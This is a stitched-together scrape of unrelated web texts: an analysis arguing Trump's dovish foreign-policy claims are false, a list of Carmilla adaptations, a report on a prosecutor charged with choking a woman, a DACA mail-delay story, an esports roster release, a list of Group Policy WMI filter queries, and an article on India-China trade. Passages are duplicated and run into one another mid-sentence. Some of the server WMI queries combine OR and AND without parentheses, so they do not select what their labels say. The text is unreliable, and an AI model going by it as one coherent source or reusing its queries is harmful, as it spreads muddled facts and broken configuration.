This doesn't really track as "hawkishness" for most people, mostly because it's so outlandish. A policy of naked colonialism has been completely unacceptable in American public discourse for decades, so it seems hard to take Trump's proposals as seriously as, say, Clinton's support for intervening more forcefully in Syria.
Yet this is what Trump has been consistently advocating for for years. His position hasn't budged an inch, and he in fact appears to have doubled down on it during this campaign. This seems to be his sincere belief, inasmuch as we can tell when a politician is being sincere.
Trump's dovishness on Libya and Syria is also a myth
Now, you might say that this kind of hawkishness is offset by Trump's skepticism of wars launched by George Bush and Barack Obama. Maybe Trump would realize that his plans for stealing Iraqi and Libyan oil are beyond the pale once in office, and his more dovish instincts would come to the fore.
The problem is that Trump's instincts are not actually that dovish. Trump is selling a story of his own prescience about American military failure that we know, for a fact, is false. Indeed, he has a consistent pattern of saying things that sound skeptical of war, while actually endorsing fairly aggressive policies.
Sometimes this is a matter of outright lying. Throughout the campaign, Trump has trumpeted his opposition to the Libya war, telling Joe Scarborough on May 20 that it was a "disaster" and that "I would have stayed out of Libya."
Except that's not what he said at the time. In a March 2011 vlog post uncovered by BuzzFeed's Andrew Kaczynski and Christopher Massie, Trump full-throatedly endorsed intervening in the country's civil war — albeit on humanitarian grounds, not for its oil.
"Qaddafi in Libya is killing thousands of people, nobody knows how bad it is, and we’re sitting around," Trump said. "We should go in, we should stop this guy, which would be very easy and very quick. We could do it surgically, stop him from doing it, and save these lives." In a later interview, he went further, endorsing outright regime change: "if you don’t get rid of Gaddafi, it’s a major, major black eye for this country."
Shortly after the US intervention in Libya began in March 2011, Trump criticized the Obama administration's approach — for not being aggressive enough. Trump warned that the US was too concerned with supporting the rebels and not trying hard enough to — you guessed it — take the oil.
"I would take the oil — and stop this baby stuff," Trump declared. "I’m only interested in Libya if we take the oil. If we don’t take the oil, I’m not interested."
At no point did he express skepticism about Libya becoming a failed state or express concerns that military intervention hadn't been authorized by Congress. Trump's instincts on Libya were for war, full stop. His only criticism was that Obama wasn't selfish enough in how it was prosecuted.
Today, when it comes to Syria, Trump talks a lot about the risks of military intervention, whereas Clinton has played up our obligation to try to end the conflict. "I would have stayed out of Syria and wouldn’t have fought so much for Assad, against Assad," Trump said. "We’re supposed to fight ISIS, who is fighting Assad."
But the two of them support more or less the same military escalation in Syria. Both Clinton and Trump have proposed carving out "safe zones" in the country, which means clearing out a chunk of its territory and protecting it from aggressors.
Trump sees this as the answer to the Syrian refugee crisis — if you can keep the Syrians there, they won't have to come over here (or to Europe). "What I like is build a safe zone, it’s here, build a big, beautiful safe zone and you have whatever it is so people can live, and they’ll be happier," he said in a campaign appearance. "I mean, they’re gonna learn German, they’re gonna learn all these different languages. It’s ridiculous."
Similarly, both candidates have emphasized the need to bomb ISIS in Iraq and Syria — with Trump famously summarizing his policy as "bomb the shit out of" ISIS. But the way in which Trump plans to wage war on ISIS is far more aggressive — and illegal — than anything Clinton proposed.
One of Trump's signature proposals is targeting and killing the families of suspected ISIS fighters. "When you get these terrorists," Trump said in December, "you have to take out their families."
He also wants to bring back torture that's "much tougher" than waterboarding. "Don’t kid yourself, folks. It works, okay? It works. Only a stupid person would say it doesn’t work," he said at a November campaign event. But "if it doesn’t work, they deserve it anyway, for what they’re doing."
To be clear, both torture and the intentional killing of civilians are crimes under international and US law. Confusingly, Trump said in early March he would not order US military officers to disobey the law. But he subsequently suggested that he'd "like the law expanded" to permit torture.
So Trump has not only supported most of America's recent wars, he also wants to wage wars in a fashion that's far more violent than what Clinton — or most mainstream politicians — would countenance. There's just no evidence, when you look at actual policy positions rather than rhetoric, that Trump is inclined to be skeptical about using force in the midst of an international crisis.
The big Iraq War lie
One thing that Trump has used to build up his dove credibility, repeatedly, is his alleged opposition to the war in Iraq. "Going into Iraq may have been the worst decision anybody has made, any president has made, in the history of this country," he said during a February GOP debate. "I was against the war when it started."
This is a lie. In fact, Trump supported the war before it began, and wasn't even consistently against escalation in Iraq after he turned on the initial invasion.
Take his supposed prewar opposition. Tape from a 2002 episode of The Howard Stern Show, uncovered by BuzzFeed's Kaczynski and Nathan McDermott, proves conclusively that Trump in fact supported the invasion:
Stern: Are you for invading Iraq? Trump: Yeah, I guess so. I wish the first time it was done correctly.
Why did Trump support the war? He's not very specific in the Howard Stern interview, but he suggested in a speech years later that he was hoping Bush would — wait for it — take Iraq's oil.
"When I heard that we were first going into Iraq, some very smart people told me, ‘Well, we’re actually going for the oil,’ and I said, ‘All right, I get that.' [But] we didn't take the oil!" Trump said during a 2013 address to the Conservative Political Action Committee conference.
The first public record of Trump criticizing the decision to invade Iraq, per a LexisNexis search, is in an August 2004 interview with Esquire — around the time Iraq's bloody insurgency had really begun to expand.
In Trump's defense, many of his comments after 2004 were quite critical of the war. "Look, everything in Washington has been a lie," Trump said in 2007. "Weapons of mass destruction. Was a total lie. A way of attacking Iraq, which [Bush] thought was going to be easy and it turned out it was the exact opposite."
However, his antiwar stance was hardly consistent. In 2008 he endorsed John McCain — at the time one of the staunchest supporters of Bush's troop surge in Iraq — for president. When Wolf Blitzer asked Trump during a CNN appearance about this contradiction, Trump backed McCain's position:
TRUMP: Now in terms of the surge, I'm not a fan of the war at all. I'd like to get out as soon as possible. Most people wanted to get out right away. John's idea of the surge, he really wanted it early. He went to win it and get out. Frankly, what he did and even the Democrats are saying it, was right… BLITZER: Is it smart for American taxpayers to be shelling out $10 billion a month in Iraq? TRUMP: No, I don't think it is and I hope we get out very soon. The difference is I guess John wants to get out with strength rather than weakness. Doesn't want to just leave. He wants to win and leave but he does want to get out and very strong on the fact he wants to get out as soon as we can. But he wants to get out with victory, not with loss.
It would have been very easy for Trump to say here, "I disagree with the senator on Iraq but believe he's the right choice for some other reason." But he didn't. And while it's kind of hard to parse whether Trump outright supported the surge personally, it's clear from this interview that he's basically fine with the US ramping up its involvement in Iraq, so long as it would someday withdraw.
The point here is that despite occasional comments during the 2000s where Trump criticized the war, his actual policy positions were consistently hawkish. His criticism of the war reflects a surface-level look at the conflict: The war was obviously going badly, so Trump said it was a failure.
Trump's criticisms of Iraq and other wars, then, don't reflect a deep view of foreign policy, because he doesn't really have one; he just says what makes sense to him at the time. Sometimes the situation brings out his hawkish impulses, and sometimes it doesn't.
Today the negative consequences of the US interventions in Iraq in 2003 and Libya in 2011 are pretty obvious — so Trump has decided to make it look like he opposed both of them, even though he really didn't at the time. He has a longstanding habit of saying whatever he thinks will make him look the best or smartest, which can make figuring out what he truly thinks somewhat difficult.
But when you actually go back and look closely at his positions over the years, it becomes very clear that he has consistently advocated hawkish policies, like colonizing Iraq and Libya for their oil.
Why we get Trump wrong: His hawkishness doesn't look like what we're used to
I honestly don't know how Trump would govern if elected president. Nobody knows how Trump would govern, |
mind in the onslaught of chaos and death.[18]
In popular culture [ edit ]
Books [ edit ]
(alphabetical by author's last name)
Comics [ edit ]
(alphabetical by series title)
In 1991, Aircel Comics published a six-issue black and white miniseries of Carmilla by Steven Jones and John Ross. It was based on Le Fanu's story and billed as "The Erotic Horror Classic of Female Vampirism". The first issue was printed in February 1991. The first three issues adapted the original story, while the latter three were a sequel set in the 1930s. [21] [22]
by Steven Jones and John Ross. It was based on Le Fanu's story and billed as "The Erotic Horror Classic of Female Vampirism". The first issue was printed in February 1991. The first three issues adapted the original story, while the latter three were a sequel set in the 1930s. In the first story arc of Dynamite Entertainment's revamp of Vampirella, a villainous vampire, named Le Fanu, inhabits the basement of a Seattle nightclub called Carmilla.
Film [ edit ]
(chronological)
Music [ edit ]
Autumn, album composed by A Letter for Carmilla in october 2017 (Romantic Dungeon synth)[1]
Opera [ edit ]
A chamber opera version of Carmilla appeared in Carmilla: A Vampire Tale (1970), music by Ben Johnston, script by Wilford Leach. Seated on a sofa, Laura and Carmilla recount the story retrospectively in song.[25]
Rock music [ edit ]
(alphabetical by group/artist)
Periodicals [ edit ]
A Japanese lesbian magazine is named after Carmilla, as Carmilla "draws hetero women into the world of love between women".[27]
Radio [ edit ]
(chronological)
Stage [ edit ]
(chronological)
Television [ edit ]
(alphabetical by series title)
Web series [ edit ]
Carmilla is a web series on YouTube starring Natasha Negovanlis as Carmilla and Elise Bauman as Laura. First released on August 19, 2014, it is a comedic, modern adaptation of the novella which takes place at a modern-day university, where both girls are students. They become roommates after Laura's first roommate mysteriously disappears and Carmilla moves in, taking her place. In 2017, a movie was made based on the series.
Video games [ edit ]
The vampiress Carmilla is an antagonist in the Castlevania series. She is a key figure in Castlevania: Circle of the Moon in which she tries to resurrect Lord Dracula. In the time distorted fighting game Castlevania Judgement, she is a playable character battling to protect her master, and, in Hideo Kojima's Lords Of Shadow reimagining, she is a recurring boss and former leader of the heroic Brotherhood Of Light. In every game she is portrayed as having great admiration for Dracula that borders on obsessive devotion.
series. She is a key figure in in which she tries to resurrect Lord Dracula. In the time distorted fighting game, she is a playable character battling to protect her master, and, in Hideo Kojima's reimagining, she is a recurring boss and former leader of the heroic Brotherhood Of Light. In every game she is portrayed as having great admiration for Dracula that borders on obsessive devotion. In the Japanese action game series OneeChanbara Carmilla is the matriarch of the Vampiric clan. She appears in the 2011 title Oneechanbara Z ~ Kagura ~ as the manipulator & main antagonist of sister heroines Kagura and Saaya, first using them to attack her rivals before trying (and failing) to eliminate them as pawns.
Carmilla is the matriarch of the Vampiric clan. She appears in the 2011 title as the manipulator & main antagonist of sister heroines Kagura and Saaya, first using them to attack her rivals before trying (and failing) to eliminate them as pawns. The main antagonist in Ace Combat Infinity is a mysterious girl only known as the "Butterfly Master", who pilots the fictional QFA-44 "Carmilla" aircraft. The Butterfly Master herself is situated in a low-orbit satellite, controlling the Carmilla aircraft through a "COnnection For Flight INterface", or "COFFIN".
is a mysterious girl only known as the "Butterfly Master", who pilots the fictional QFA-44 "Carmilla" aircraft. The Butterfly Master herself is situated in a low-orbit satellite, controlling the Carmilla aircraft through a "COnnection For Flight INterface", or "COFFIN". Carmilla is a character that can be summoned by the player in the role-playing mobile game Fate/Grand Order. However, she also plays a small role in the main story arc. She is depicted as the elder version of Elizabeth Báthory, who appears as a separate Servant with whom she interacts.
. However, she also plays a small role in the main story arc. She is depicted as the elder version of Elizabeth Báthory, who appears as a separate Servant with whom she interacts. In the action-adventure role-playing video game, Boktai: The Sun Is in Your Hand, Carmilla is a vampire with the ability to transform into a medusa-like banshee, who initially appears as a young woman. Though an antagonist, she is portrayed sympathetically, and is seemingly in love with fellow antagonist Sabata.A New York City prosecutor has been arrested on charges that he berated and then choked a woman at an Irish bar on the East Side of Manhattan.
Eli Cherkasky, 35, a Manhattan assistant district attorney since 2006, pleaded not guilty on Friday evening to charges of misdemeanor assault, obstruction of breathing, menacing and harassment stemming from an early-morning encounter on Nov. 1 at Failte Bar on Second Avenue.
According to a criminal complaint, Mr. Cherkasky, who recently attracted attention for the high-profile bribery indictments of three defense lawyers, grabbed the woman around 2 a.m. and repeatedly used obscenities and told her, “Why don’t you hit me.”
A few minutes later, the complaint says, Mr. Cherkasky used another obscenity as he pushed the woman onto a couch and then the floor, knelt over her and choked her. The attack caused her “substantial pain and a limited range of motion to her neck,” the complaint says. The woman was treated at a hospital.Recipients of the Deferred Action for Childhood Arrivals (DACA) program whose renewal applications were delayed in the mail will now be able to resubmit them.
The decision comes after applications to renew the status of dozens of DACA recipients were rejected because they arrived after the deadline.
The acting director of the Department of Homeland Security told the United States Citizenship and Immigration Services (USCIS) agency that recipients should be able to resubmit their applications if they can prove their original documents were delayed in the mail, The New York Times reported.
“We’re glad to see U.S.C.I.S. do the right thing by accepting these applications,” said Camille Mackler, the director of legal immigration policy at the New York Immigration Coalition, an immigrant advocacy group, according to the Times.
“This news will come as a huge relief to DACA recipients who had been living with enormous anxiety for weeks now,” she said.
The newspaper reported last week at least 33 DACA recipients in the New York region had their applications denied because the paperwork arrived after the Oct. 5 deadline, despite having sent them weeks in advance. Advocates told the Times 41 people in Chicago had been impacted by the postal delays.
The U.S. Postal Service admitted there had been an "unintentional temporary processing delay in the Chicago area."
But USCIS officials refused to accept the delayed applications.
“According to U.S.C.I.S. regulations, a request is considered received by U.S.C.I.S. as of the actual date of receipt at the location for filing such request,” a spokesman for the agency told the newspaper in a statement. “U.S.C.I.S. is not responsible for the mail service an individual chooses, or for delays on the part of mail service providers.”
On Wednesday, two dozen Senate Democrats called on the Department of Homeland Security to allow beneficiaries of the DACA program to resubmit their applications if they were deemed late because of the mail.Crowns have decided to part ways with their team after the squad was not performing to the level they had been hoping for, the organization revealed today.
Crowns first made waves at the ESEA Season 22 Global Challenge LAN in Katowice, Poland, where they took down Echo Fox 2-0 and placed second overall. David "Jayzwalkingz" Kempner had a breakout performance at that tournament, going 58-18 in the series against Echo Fox and that eventually led to him being loaned out to fnatic Academy.
bENNY and co. impressed at the GC LAN, but couldn't reach that form again
After their star player departed, Yacine "yzn" Laghmari and Noel "melonhead" Raki joined the team, but Crowns were unable to put up good results and now find themselves close to the bottom of the ESEA Premier table. With that in mind, the organization decided to release the roster, but noted that Jayzwalkingz is still under contract with Crowns, even though he is loaned out to fnatic Academy.
Cliffhanger & broiler, the team's managers released the following statement:
"First and foremost, we would like to express our great admiration for the amount of time and energy these players have devoted to their careers, juggling both work, spare-time, social interactions with friends, family and girlfriends. During their time in Crowns Esports Club they have been among the most easy going and patient people we have known to this day." "We have been with the team in their ups and downs, joined in their joy and as well sadness. Today, we unfortunately had to release them from their contracts. With great courage, the players expressed their goal to become one of the leading teams in the world, even though it did not happen under Crowns, the story is not over yet. What we have to remember is that these are young players in the beginning of their career, with much left to show us. We wish them best of luck and hope to see them in new constellations in the future."
The following players are now free agents:
Professeur writes for HLTV.org and can be found on Twitter.More likely than not, if you’re using Group Policy to push out software installation or registry entries to client machines or servers on the domain, the policy may be different depending on the OS version or architecture.
Examples, Group Policy Objects may need to be filtered by:
Desktop / Server
Domain Controller / Non-Domain Controller
32-bit / 64-bit
If you haven’t used WMI filters before, they show up in Group Policy Management at the bottom, between Group Policy Objects and Starter GPOs.
The WMI filters use a query to scope down the application of the Group Policy Object applicability. Here’s what a typical WMI OS filter looks like:
WMI Win32_OperatingSystem ProductType Tips:
ProductType 1 = Desktop OS ProductType 2 = Server OS – Domain Controller ProductType 3 = Server OS – Not a Domain Controller
WMI Win32_OperatingSystem Version Number Tips:
5.1 – Windows XP 5.2 – Windows Server 2003 5.2.3 – Windows Server 2003 R2 6.0 – Windows Vista & Windows Server 2008 6.1 – Windows 7 & Windows Server 2008 R2 6.2 – Windows 8 & Windows Server 2012 6.3 – Windows 8.1 & Windows Server 2012 R2
To create your own WMI filters, here is an updated list of WMI filter queries from Window XP – Windows 8.1 and from Server 2003 to Server 2012 R2.
IMPORTANT DISCLAIMER:
Always test your Group Policies and WMI filters before deploying.
DESKTOPS
ANY WINDOWS DESKTOP OS
Any Windows Desktop OS – Version 1
select * from Win32_OperatingSystem WHERE ProductType = "1"
– Version 1 select * from Win32_OperatingSystem WHERE ProductType = "1" Any Windows Desktop OS – Version 2 (better for Win7 sometimes)
select * from Win32_OperatingSystem WHERE (ProductType <> "2") AND (ProductType <> "3")
– Version 2 (better for Win7 sometimes) select * from Win32_OperatingSystem WHERE (ProductType <> "2") AND (ProductType <> "3") Any Windows Desktop OS – 32-bit
select * from Win32_OperatingSystem WHERE ProductType = "1" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE ProductType = "1" AND NOT OSArchitecture = "64-bit" Any Windows Desktop OS – 64-bit
select * from Win32_OperatingSystem WHERE ProductType = "1" AND OSArchitecture = "64-bit"
WINDOWS XP
Windows XP
select * from Win32_OperatingSystem WHERE (Version like "5.1%" or Version like "5.2%") AND ProductType="1"
select * from Win32_OperatingSystem WHERE (Version like "5.1%" or Version like "5.2%") AND ProductType="1" Windows XP – 32-bit
select * from Win32_OperatingSystem WHERE (Version like "5.1%" or Version like "5.2%") AND ProductType="1" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE (Version like "5.1%" or Version like "5.2%") AND ProductType="1" AND NOT OSArchitecture = "64-bit" Windows XP – 64-bit
select * from Win32_OperatingSystem WHERE (Version like "5.1%" or Version like "5.2%") AND ProductType="1" AND OSArchitecture = "64-bit"
WINDOWS VISTA
Windows Vista
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="1"
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="1" Windows Vista – 32-bit
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="1" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="1" AND NOT OSArchitecture = "64-bit" Windows Vista – 64-bit
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="1" AND OSArchitecture = "64-bit"
WINDOWS 7
Windows 7
select * from Win32_OperatingSystem WHERE Version like "6.1%" AND ProductType="1"
select * from Win32_OperatingSystem WHERE Version like "6.1%" AND ProductType="1" Windows 7 – 32-bit
select * from Win32_OperatingSystem WHERE Version like "6.1%" AND ProductType="1" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "6.1%" AND ProductType="1" AND NOT OSArchitecture = "64-bit" Windows 7 – 64-bit
select * from Win32_OperatingSystem WHERE Version like "6.1%" AND ProductType="1" AND OSArchitecture = "64-bit"
WINDOWS 8
Windows 8
select * from Win32_OperatingSystem WHERE Version like "6.2%" AND ProductType="1"
select * from Win32_OperatingSystem WHERE Version like "6.2%" AND ProductType="1" Windows 8 – 32-bit
select * from Win32_OperatingSystem WHERE Version like "6.2%" AND ProductType="1" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "6.2%" AND ProductType="1" AND NOT OSArchitecture = "64-bit" Windows 8 – 64-bit
select * from Win32_OperatingSystem WHERE Version like "6.2%" AND ProductType="1" AND OSArchitecture = "64-bit"
WINDOWS 8.1
Windows 8.1
select * from Win32_OperatingSystem WHERE Version like "6.3%" AND ProductType="1"
select * from Win32_OperatingSystem WHERE Version like "6.3%" AND ProductType="1" Windows 8.1 – 32-bit
select * from Win32_OperatingSystem WHERE Version like "6.3%" AND ProductType="1" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "6.3%" AND ProductType="1" AND NOT OSArchitecture = "64-bit" Windows 8.1 – 64-bit
select * from Win32_OperatingSystem WHERE Version like "6.3%" AND ProductType="1" AND OSArchitecture = "64-bit"
SERVERS
ANY WINDOWS SERVER OS
Any Windows Server OS
select * from Win32_OperatingSystem where (ProductType = "2") OR (ProductType = "3")
select * from Win32_OperatingSystem where (ProductType = "2") OR (ProductType = "3") Any Windows Server OS – 32-bit
select * from Win32_OperatingSystem where (ProductType = "2") OR (ProductType = "3") AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem where (ProductType = "2") OR (ProductType = "3") AND NOT OSArchitecture = "64-bit" Any Windows Server OS – 64-bit
select * from Win32_OperatingSystem where (ProductType = "2") OR (ProductType = "3") AND OSArchitecture = "64-bit"
select * from Win32_OperatingSystem where (ProductType = "2") OR (ProductType = "3") AND OSArchitecture = "64-bit" Any Windows Server – Domain Controller
select * from Win32_OperatingSystem where (ProductType = "2")
select * from Win32_OperatingSystem where (ProductType = "2") Any Windows Server – Domain Controller – 32-bit
select * from Win32_OperatingSystem where (ProductType = "2") AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem where (ProductType = "2") AND NOT OSArchitecture = "64-bit" Any Windows Server – Domain Controller – 64-bit
select * from Win32_OperatingSystem where (ProductType = "2") AND OSArchitecture = "64-bit"
select * from Win32_OperatingSystem where (ProductType = "2") AND OSArchitecture = "64-bit" Any Windows Server – Non-Domain Controller
select * from Win32_OperatingSystem where (ProductType = "3")
select * from Win32_OperatingSystem where (ProductType = "3") Any Windows Server – Non- Domain Controller – 32-bit
select * from Win32_OperatingSystem where (ProductType = "3") AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem where (ProductType = "3") AND NOT OSArchitecture = "64-bit" Any Windows Server – Non-Domain Controller – 64-bit
select * from Win32_OperatingSystem where (ProductType = "3") AND OSArchitecture = "64-bit"
WINDOWS SERVER 2003
Windows Server 2003 – DC
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="2"
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="2" Windows Server 2003 – non-DC
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="3"
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="3" Windows Server 2003 – 32-bit – DC
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="2" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="2" AND NOT OSArchitecture = "64-bit" Windows Server 2003 – 32-bit – non-DC
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="3" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="3" AND NOT OSArchitecture = "64-bit" Windows Server 2003 – 64-bit – DC
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="2" AND OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="2" AND OSArchitecture = "64-bit" Windows Server 2003 – 64-bit – non-DC
select * from Win32_OperatingSystem WHERE Version like "5.2%" AND ProductType="3" AND OSArchitecture = "64-bit"
WINDOWS SERVER 2003 R2
Windows Server 2003 R2 – DC
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="2"
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="2" Windows Server 2003 R2 – non-DC
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="3"
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="3" Windows Server 2003 R2 – 32-bit – DC
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="2" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="2" AND NOT OSArchitecture = "64-bit" Windows Server 2003 R2 – 32-bit – non-DC
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="3" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="3" AND NOT OSArchitecture = "64-bit" Windows Server 2003 R2 – 64-bit – DC
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="2" AND OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="2" AND OSArchitecture = "64-bit" Windows Server 2003 R2 – 64-bit – non-DC
select * from Win32_OperatingSystem WHERE Version like "5.2.3%" AND ProductType="3" AND OSArchitecture = "64-bit"
WINDOWS SERVER 2008
Windows Server 2008 – DC
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="2"
– select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="2" Windows Server 2008 – non-DC
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="3"
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="3" Windows Server 2008 – 32-bit – DC
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="2" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="2" AND NOT OSArchitecture = "64-bit" Windows Server 2008 – 32-bit – non-DC
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="3" AND NOT OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="3" AND NOT OSArchitecture = "64-bit" Windows Server 2008 – 64-bit – DC
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="2" AND OSArchitecture = "64-bit"
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="2" AND OSArchitecture = "64-bit" Windows Server 2008 – 64-bit – non-DC
select * from Win32_OperatingSystem WHERE Version like "6.0%" AND ProductType="3" AND OSArchitecture = "64-bit"
WINDOWS SERVER 2008 R2
Windows Server 2008 R2 – 64-bit – DC
select * from Win32_OperatingSystem WHERE Version like "6.1%" AND ProductType="2"
select * from Win32_OperatingSystem WHERE Version like "6.1%" AND ProductType="2" Windows Server 2008 R2 – 64-bit – non-DC
select * from Win32_OperatingSystem WHERE Version like "6.1%" AND ProductType="3"
WINDOWS SERVER 2012
Windows Server 2012 – 64-bit – DC
select * from Win32_OperatingSystem WHERE Version like "6.2%" AND ProductType="2"
select * from Win32_OperatingSystem WHERE Version like "6.2%" AND ProductType="2" Windows Server 2012 – 64-bit – non-DC
select * from Win32_OperatingSystem WHERE Version like "6.2%" AND ProductType="3"
WINDOWS SERVER 2012 R2
Windows Server 2012 R2 – 64-bit – DC
select * from Win32_OperatingSystem WHERE Version like "6.3%" AND ProductType="2"
select * from Win32_OperatingSystem WHERE Version like "6.3%" AND ProductType="2" Windows Server 2012 R2 – 64-bit – non-DC
select * from Win32_OperatingSystem WHERE Version like "6.3%" AND ProductType="3"
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please wait... Rating: 9.8/10 (76 votes cast)Based out of Kolkata, Gyanesh Chaudhary thought of solar long before it became fashionable. In 2006, the Harvard alumnus founded Vikram Solar, today among India’s top 10 manufacturers of solar modules. Located in a special economic zone in West Bengal, it had billed itself as a pioneer in renewable energy in India. Today, it has a solar module capacity of 1 GW and employs 2,000 people.But here’s the dichotomy. Just when India is pushing for solar energy (targeting 100 GW by 2022, 1 GW = 1,000 MW), Vikram Solar is hurting. Last quarter, capacity utilisation stood at half, even after exporting a fourth of its produce. “We are fighting the Beijing factor. Over 80% of India’s solar component supplies have been hijacked by the Chinese.” he says. Aggressive pricing on the back of state subsidy, a protectionist outlook and cheap finance have allowed Chinese manufacturers to outprice their domestic counterparts. Products of Vikram Solar are 8-10% costlier than Chinese imports. India’s aggressive solar energy targets would mean business worth over $40 billion for component manufacturers over the next five years. China seems to be grabbing most of it. “The US and Europe are taking measures to protect themselves against Chinese dumping. We have instead offered them a direct train to the Indian market. The government must ring fence Indian firms to allow them to grow,” says Chaudhary.Miles away in Delhi, Rakesh Kumar Yadav shows you another Chinese-flavoured world. He is the president of the Federation of Sadar Bazar Traders Association. The umbrella platform for 83 other associations with 35,000 wholesale traders does business worth over Rs 3,000 crore annually and employs at least 100,000 people directly and indirectly.About a decade back, the traders often used to source products — toys, plastic buckets, idols of Indian gods, among others — from domestic manufacturers. In toys alone, Yadav knows many Indian manufacturers who employed 500-plus people and were their suppliers. “They have all shut down and now import from China. Cheaper and better Chinese imports have wiped out the domestic industry,” says Yadav.On the border, India is trying to ward off Chinese aggression. In the cold Himalayan plateau, temperatures have shot up as an old political rivalry heats up. India and China are sparring over the Doklam tri-boundary area (the third country being Bhutan), near Chicken’s Neck which connects India’s north-eastern states to the rest of the country. Shrill calls for a boycott of Chinese goods are getting louder, with the Rashtriya Swayamsevak Sangh ( RSS ) and its affiliate, the Swadeshi Jagran Manch, joining in and social media networks amplifying the noise. But deep inside India, at homes and in markets, in economy and in trade, Chinese dominance is a reality. “Although lopsided, bilateral trade has grown well. Political differences have not impacted it,” says DK Joshi, chief economist, Crisil.China is India’s largest trading partner, with bilateral trade at $71.5 billion, but it is heavily skewed in favour of China. India imports $61.3 billion worth of Chinese products while it exports just $10.2 billion worth of goods to China. From -$37.2 billion in 2011-12, trade deficit has widened in the last six years to -$51.1 billion.India must also worry about the qualitative skew in its trade balance. Chinese exports to India are dominated by value-added products like mobile phones, plastics, electrical goods, machinery and parts. In contrast, India’s exports to China are primarily raw materials like ores, cotton and mineral fuels. “If bilateral trade suffers I, for one, will not be shedding any tears,” says economist Rajiv Kumar, director, Pahle India Foundation.For the two nations that have fought a fullblown battle in 1962, the current standoff is more complicated. China leaves little doubt of its desire to lead and shape a new Asian order. It is using all the weapons at its disposal — economic, political and diplomatic — to secure its place.Over the years, a communist China has taken a range of policy measures to create, protect and nurture its own companies. In most sectors, it has built MNC giants like Alibaba (China’s answer to Amazon), Baidu (China’s Google), WeChat (China’s Facebook) and Xiaomi (China’s Apple). Steadily, these Chinese firms have evolved from brazen copycats who made cheap and cheerful products into world-class MNCs who can hold a candle to western MNCs.The automobiles sector is a good example. Chinese carmaker Geely, which once made models like King Kong and Rolls-Royce copycat Geely GE, has come a long way. Snapping up Volvo’s passenger car business in 2010, Geely today is competing with Audi, BMW and Mercedes and eyeing the luxury car market with an all-electric thrust by 2019.The $3 trillion Indian economy with relatively few globally competitive MNCs should hardly be a bother for the $11 trillion Chinese economy. But reality is multi-hued. Border disputes in the Northeast aren’t the only big thorn in India-China relationship. When many nations have acquiesced to China’s one-nation view on Tibet and Taiwan, India has refused to toe the line. Instead, it brazenly offers asylum and warm hospitality to Tibetan spiritual leader Dalai Lama and is also courting Taiwan. Prime Minister Narendra Modi’s bromance with his Japanese counterpart Shinzo Abe and deepening bilateral economic engagement too must cause Chinese President Xi Jinping some heartburn. India’s objection to China building a road in the trijunction ahead of the prime minister’s meeting with President Donald Trump in the US in end-June would also have not gone down well with Beijing.Conversely, China’s support to Pakistan, disregard for India’s sovereignty in Jammu & Kashmir, the support to Jaish-e-Mohammed terrorist Masood Azhar and its opposition to India’s getting a spot in the UN Security Council are constant irritants for India. A new warfront recently opened when India boycotted China’s ambitious One Belt One Road project. India’s defiance amid Chinese assertiveness has set the two nations on a collision path. Lopsided bilateral trade further complicates this already loaded political-diplomatic relationship.Chinese companies today dominate the telecom sector in India. In handsets, they control 51% of India’s $8 billion plus smartphone market with brands like Xiaomi, Oppo, Vivo and OnePlus. The same story has been playing out in the telecom equipment sector for some time now.NK Goyal, ex-chairman of Telecom Equipment Manufacturers Association of India, says: “India allowed import of telecom equipment without any testing or duty or protection for the domestic industry.” In 2010, around the time of the 3G auction, the government did wake up to impose an antidumping duty. In 2012, it announced a preference policy in which 30% of the orders of 